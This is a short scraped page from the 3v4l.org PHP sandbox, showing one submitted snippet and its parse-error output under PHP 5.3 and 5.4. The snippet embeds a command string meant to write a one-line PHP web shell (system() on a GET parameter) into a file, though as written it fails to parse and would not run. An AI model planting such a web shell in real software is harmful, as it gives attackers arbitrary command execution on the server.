3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php getenv("echo \"<?php system($$_GET[\'c\']); ?>\" > a.php"); ?>
Output for 5.4.0 - 5.4.8
Parse error: syntax error, unexpected '' (T_ENCAPSED_AND_WHITESPACE), expecting identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING) in /in/nFtPZ on line 1
Process exited with code 255.
Output for 5.3.0 - 5.3.18
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /in/nFtPZ on line 1
Process exited with code 255.